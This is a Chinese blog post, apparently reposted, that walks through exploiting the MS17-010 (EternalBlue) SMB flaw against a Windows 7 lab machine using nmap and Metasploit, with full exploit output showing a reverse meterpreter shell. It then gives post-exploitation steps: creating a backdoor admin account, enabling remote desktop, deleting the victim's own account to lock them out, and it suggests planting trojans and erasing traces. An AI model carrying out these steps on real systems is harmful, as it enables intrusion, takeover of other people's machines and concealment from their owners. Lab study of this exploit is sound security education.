程序员经验分享-hwhale

网络安全-MS17-010漏洞-永恒之蓝

2023-11-18

网络安全-MS17-010漏洞-永恒之蓝

在这里插入图片描述
这个东西怎么说呢，无论是干网络的没干网络的，估计每个人都听说过这个叫做永恒之蓝的东西
这个东东当时可谓是红极一时，现在也有点热度
这个漏洞呢，在win10是不可以的，win8也是不行滴，只有win7以及以下的电脑，才有这个漏洞，因为win7之后微软把他给修复了
在这里插入图片描述
win7靶机安装中（VM虚拟机）

永恒之蓝漏洞原理

通过TCP445端口，445端口（文件共享SMB协议专用）
在那个年代，特别是中国的高校，默认情况下都是开启的，因为内网。去植入病毒。植入病毒後，就可以远程提权，有权限， 就可以干很多事情，可以执行任意代码（包括恶意代码）

WIN7需要的操作

因为现在的win7你拿到的版本都是默认打开的，默认打开则会阻断445端口，无法攻击，所以要手动关，实际上也是很多设备关闭防火墙的。
关闭防火墙
cmd下输入firewall.cpl，两个全部关掉即可
在这里插入图片描述
然后把这个远程RDP开起来
在控制面板的系统与安全里面
在这里插入图片描述
在这里插入图片描述
开启445SMB端口.
在这里插入图片描述
找到以下路径
在这里插入图片描述

在这里插入图片描述

一路找到这个路径
 然后点击parameters
 然后右键新建一个项，选32位的
 命名为SMBDerviceEnabled
 然后把他的数值数据改成1
 完了一定要点确认

在这里插入图片描述

然后就到kali了

在这里插入图片描述

先用nmap扫描一波（nmap是端口扫描工具）
发现了445端口是开启的，其他的暂时不用管

nmap --script smb-vuln-msc17-010.nse x.x.x.x（x为真实ip）

在这里插入图片描述
在这里插入图片描述
防止你们看不懂，给你们翻译一波

Host script results:
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 2.21 seconds


主机脚本结果：

|smb-vuln-ms17-010：

|易受攻击：

|Microsoft SMBv1服务器中的远程代码执行漏洞（ms17-010）

|状态：VULNERABLE

|ID:CVE:CVE-2017-0143

|风险因素：高

|Microsoft SMBv1中存在严重的远程代码执行漏洞

|服务器（ms17-010）。

|

|披露日期：2017-03-14

|参考文献：

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

|_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/



Nmap完成：2.21秒内扫描1个IP地址（1个主机启动）

这已经证明可以攻击了，我们平时也不用刻意去翻译，因为做多了你就能看懂了
重点是这个 VULNERABLE:，就证明他是漏洞，脆弱的漏洞

然后输入这个msfconsole，进入msf这个攻击的工具

MSF是啥

在这里插入图片描述

简单的说，他就是一个攻击的集成工具包
在这里插入图片描述
在这里插入图片描述
前面这里会变成msf6
查找漏洞的利用模块
在这里插入图片描述

search ms17-010，其中，找出来最上面的那个成功率是最大的

绑定攻击模块相当于武器库里面找到了什么武器
在这里插入图片描述

use 0（要用那个模块就选择什么数字）

输入：options

凡是出现yes的，都是需要我们去设置的
在这里插入图片描述
这个地方表示的是IP地址
在这里插入图片描述

比如啥呢，武器买了回来得会咋用吧，咋开火，打谁你得知道吧，怎么瞄准得会吧

设置攻击目标的IP
在这里插入图片描述

set rhosts x.x.x.x x为IP地址

一切就绪，就差执行
run，执行程序
在这里插入图片描述

翻译
[*]已在192.168.248.136:4444上启动反向TCP处理程序

[*]192.168.248.222:445-使用辅助/scanner/smb/smb_ms17_010作为检查

[+]192.168.248.222:445-主机可能对MS17-010不可用！-Windows 7 Professional 7601 Service Pack 1 x64（64位）

[*]192.168.248.222:445-已扫描1台主机（共1台）（100%完成）

[+]192.168.248.222:445-目标易受攻击。

[*]192.168.248.222:445-正在连接到目标进行利用。

[+]192.168.248.222:445-已建立用于利用的连接。

[+]192.168.248.222:445-选择的目标操作系统对SMB回复指示的操作系统有效

[*]192.168.248.222:445-CORE原始缓冲区转储（42字节）

[*]192.168.248.222:445-0x0000000057 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7专业版

[*]192.168.248.222:445-0x00000010 73 69 f 6e 61 6c 20 37 36 30 20 53 65 72 76项7601服务

[*]192.168.248.222:445-0x00000020 69 63 65 20 50 61 63 6b 20 31冰块1

[+]192.168.248.222:445-为DCE/RPC回复指示的拱门选择的目标拱门有效

[*]192.168.248.222:445-尝试利用12个Groom分配进行攻击。

[*]192.168.248.222:445-发送攻击数据包的除最后一个片段之外的所有片段

[*]192.168.248.222:445-开始非分页池整理

[+]192.168.248.222:445-发送SMBv2缓冲区

[+]192.168.248.222:445-关闭SMBv1连接，在SMBv2缓冲区附近创建空闲孔。

[*]192.168.248.222:445-正在发送最终SMBv2缓冲区。

[*]192.168.248.222:445-正在发送攻击数据包的最后一个片段！

[*]192.168.248.222:445-从漏洞数据包接收响应

[+]192.168.248.222:445-ETERNALBLUE覆盖成功完成（0xC000000D）！

[*]192.168.248.222:445-将彩蛋发送到损坏的连接。

[*]192.168.248.222:445-触发释放损坏的缓冲区。

[*]发送阶段（200774字节）到192.168.248.222

[*]流量计会话1于2023-02-14 01:49:09+0800打开（192.168.248.136:4444->192.168.248.222:49166）

[+] 192.168.248.222:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[+]192.168.248.222:445-=-=-=-=--=-==-=-===-=-[-=-==-=-获胜-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[+] 192.168.248.222:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

但凡学过英语或者打过游戏都知道WIN=获胜的意思。意思就是证明漏洞已经利用成功了

监听目标主机
在这里插入图片描述

Shell（获取对方权限）

在这里插入图片描述
shell是最爽的，只要你拿到了shell，跟你直接使用别人电脑没啥区别。但是可以看到乱码了这个没关系
chcp 65001 改一下就好了

可以看到，在kali攻击机上看到的已经是windows 的cmd的命令行了
在这里插入图片描述
ipconfig，查看ip地址，本机ip（被攻击ip）
既然都拿到cmd了，那肯定是想干啥就干啥了。
基本上到这里就已经可以宣告对面已经被攻陷了

开始搞事情

既然拿到权限了，那我得远程进去呀，有些事情还是得进去才好呢，虽然也可以不进直接复制他资料搞他什么的
我们可以远程创建一个账户，完了之后搞完事情删除痕迹，那也没人知道呀~
创建用户

在这里插入图片描述
因为我们并不知道他原本的账号密码，知道的话还费啥劲渗透，直接登录就完事了

现在还是正常的账户

net user 账户名 密码 /add
net user ccie ccie /add

在这里插入图片描述
账户已经建立了，试想一波，如果我是真正的入侵者，我都有你账户了，我进你系统不是轻轻松松，账户密码都是我自己设置的

但是详细看，我只是标准用户，我要干啥呢？把他变成管理员账户，才能拿到全部权限，然后再把它原本的账户给她干了，他就再也进不来了,咋操作呢？

提权命令

net localgroup administrator 账户名 /add
net localgroup administrator ccie /add

在这里插入图片描述
命令行提示已经成功，我们再去看看win7
在这里插入图片描述
再来看，我创建的ccie已经是管理员了，在电脑的世界里面管理员没什么是不能做的
那么账户都建立好了
有些电脑他不一定开了远程，那我们就通过命令给他开
在这里插入图片描述

run getgui -e

在这里插入图片描述
在windows我们可以通过cmd打开mstsc或者手动打开，在kali里面则是用命令

rdesktop 目标IP
desktop就是桌面的意思

在这里插入图片描述
那么他这个远程端口就出来了
然后选择其他用户，使用我们刚刚建立的用户
在这里插入图片描述
在这里插入图片描述
如果无人值守，那也就是30秒的事情
在这里插入图片描述
攻击主机上打开了目标机器的桌面，攻击成功，这个时候只要我把它原本的账户删了，不断电的情况下，我想干嘛干嘛，他就再也进不来了，除非断电，重装
然后我现在干掉原有的账户
在这里插入图片描述
在这里插入图片描述
在原有的机器上登陆就再也进不来了
在这里插入图片描述.无论怎么输入都没用，因为这个账号已经被我删掉了，或者我想放什么恶意程序木马在里面，隐藏起来，他也不知道的呀~
如果想不留痕迹，那么干完想干的事情之后，删掉自己的用户，对方也会毫无察觉

本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系:hwhale#tublm.com(使用前将#替换为@)

NetworkSecurity

web安全

网络

Linux

网络安全-MS17-010漏洞-永恒之蓝 的相关文章

随机推荐

  • 数据结构--二叉树-堆（1）

    文章目录 树 概念 相关的基本概念 树的表示 二叉树 概念 特殊二叉树 性质 堆 二叉树的顺序结构 堆的概念 堆的实现 初始化 数组初始化为堆 向上调整 向下调整 插入 删除 打印 摧毁 判空 获取堆顶数据 验证 堆的应用 堆排序 TopK

  • 磁盘测试工具FIO

    磁盘测试工具FIO https www cnblogs com klb561 p 11939355 html 目前主流的第三方IO测试工具有fio iometer和Orion 这三种工具各有千秋 fio在Linux系统下使用比较方便 iom

  • 淘宝官方订单API接口，获取售出的商品订单列表（爬虫数据）

    淘宝 天猫获取售出的商品订单列表 API 返回值说明 seller order list 获取售出的商品订单列表 公共参数 名称 类型 必须 描述 key String 是 调用key 必须以GET方式拼接在URL中 获取Key和secre

  • 大学英语六级历年真题Word，PDF，和音频 下载

    1 链接 https pan baidu com s 11w bAM1JoHTt HjNfor70g 提取码 ro6w 复制这段内容后打开百度网盘手机App 操作更方便哦 1 1 1 1 1 下载方式 扫码联系获取 1学习人工智能可以扫码关

  • C++函数指针定义及用法

    什么是函数指针 如果在程序中定义了一个函数 那么在编译时系统就会为这个函数代码分配一段存储空间 这段存储空间的首地址称为这个函数的地址 而且函数名表示的就是这个地址 既然是地址我们就可以定义一个指针变量来存放 这个指针变量就叫作函数指针变量

  • Windows游戏加速外挂-变速齿轮 学习笔记-【第一篇】

    找到两篇文章 是比较流行的方法 接下来记录一下收获 第一篇文章 变速齿轮 研究手记 转自 http www newasp net tech 58262 html 注意 如果你看了本文 对我们这个软件有兴趣 请到我们的主页www vrbrot

  • 幂等性常用的解决方案

    幂等性常用的解决方案 在进行讲解方案之前 我想先说一下什么是幂等性 下面是我用自己的理解说的 不是专业的术语 对于同样的多次请求 只会对第一次请求进行处理 多次请求返回的结果是相同的 幂等性的专业术语如下 选自百度百科 幂等 idempot

  • 数据科学与大数据分析项目练习-3将Apriori算法应用于R中提供的“Groceries”数据集

    R语言Apriori算法 项目要求 Project Start 规则生成和可视化 我们需要安装arules and arulesViz包 项目要求 生成频繁项目集满足下面条件 The minimum support threshold as

  • 异常检测-pyod包的入门使用

    本文github地址 pyod包的入门使用 文章目录 0异常检测简介 1pyod包简介 1 1注意事项 1 2函数的通用使用方法 1 3模型保存 1 4三个函数组 1 5不同模型在基准数据上的表现 1 6多个基准检测器的结合 2异常值检测示

  • 15 个 Android 通用流行框架大全

    转自 http www androidchina net 4920 html rd sukey 3903d1d3b699c208f96a43a12fc2e7ae683c66523214d79bc81eec0c330d577be318928c

  • 2021-06-22

    Ubuntu16 04系统安装ROS时出现sudo rosdep init ERROR default sources list file already exists etc ros rosdep sources list d 20 de

  • 操作系统：磁盘调度实验之扫描和循环扫描调度算法（含源码和文档）

    目录 第一章 实验相关概述 1 扫描算法 2 循环扫描算法 第二章 实验的目的及要求 1 目的 2 要求 第三章 实验的实现思路及步骤 1 扫描算法 2 循环扫描算法 第四章 实验结果分析 1 优缺点及区别 2 实现代码及截图 第五章 实验

  • 【论文阅读-ICSE-2021】CodeShovel: 构造方法级别上的源代码历史信息 Constructing Method-Level Source Code Histories

    CodeShovel Constructing Method Level Source Code Histories Conference ICSE 2021 Github https github com ataraxie codesho

  • Python GUI实战：全方位图形界面设计实践

    Python GUI实战 全方位图形界面设计实践 Python是一种强大的编程语言 且具备广泛的应用场景 其中 图形界面设计是Python的一个重要应用领域 通过图形界面设计 可以让用户更加直观 友好地使用软件 本文将介绍如何使用Pytho

  • 怎么删除win10系统的AdobeFlash

    随着移动端的趋势大流 HTML5应用场景更加的广泛 Flash逐渐走向没落 Flash短期时间并不会彻底消失掉 Adobe Flash FLASH不只是可以制作网页 还可以制作软件AIR 制作动画 制作游戏等等 现在最新版的软件改名为Ani

  • Linux writeback机制

    Linux 采用内存页来缓存磁盘文件内容 从而提高系统整体IO访问性能 这就是我们熟知的pagecache机制 对于进程的一次写文件操作 内核只是简单的把修改写到内存 并把页面标记为脏页 然后直接返回 具体的回写操作 由内核周期性的启动线程

  • springboot 快速集成Redis，非常简单

    gt gt 快速开始 创建springboot项目 引入redis pom依赖 如下

  • vue 软键盘弹起底部按钮顶起来的问题

    vue 软键盘弹起 底部按钮fixed固定定位的button按钮顶起来的问题 底部的button按钮被手机弹起的软键盘顶起来 影响页面美观 html的内容 div class hold div 现在data中定义一个记录高度的属性以及判断b

  • Qt导出数据到EXCEL的两种方式 (*****)

    目录 Qt如何将数据保存成CSV文件 Qt Tablewidget表格数据的导出和导入 Qt导出数据到EXCEL的两种方式 QT将QTableWidget数据保存至Excel Qt Tablewidget表格数据导出到 csv文件 测试 O

  • 网络安全-MS17-010漏洞-永恒之蓝

    网络安全 MS17 010漏洞 永恒之蓝 这个东西怎么说呢 无论是干网络的没干网络的 估计每个人都听说过这个叫做永恒之蓝的东西 这个东东当时可谓是红极一时 现在也有点热度 这个漏洞呢 在win10是不可以的 win8也是不行滴 只有win7

热门标签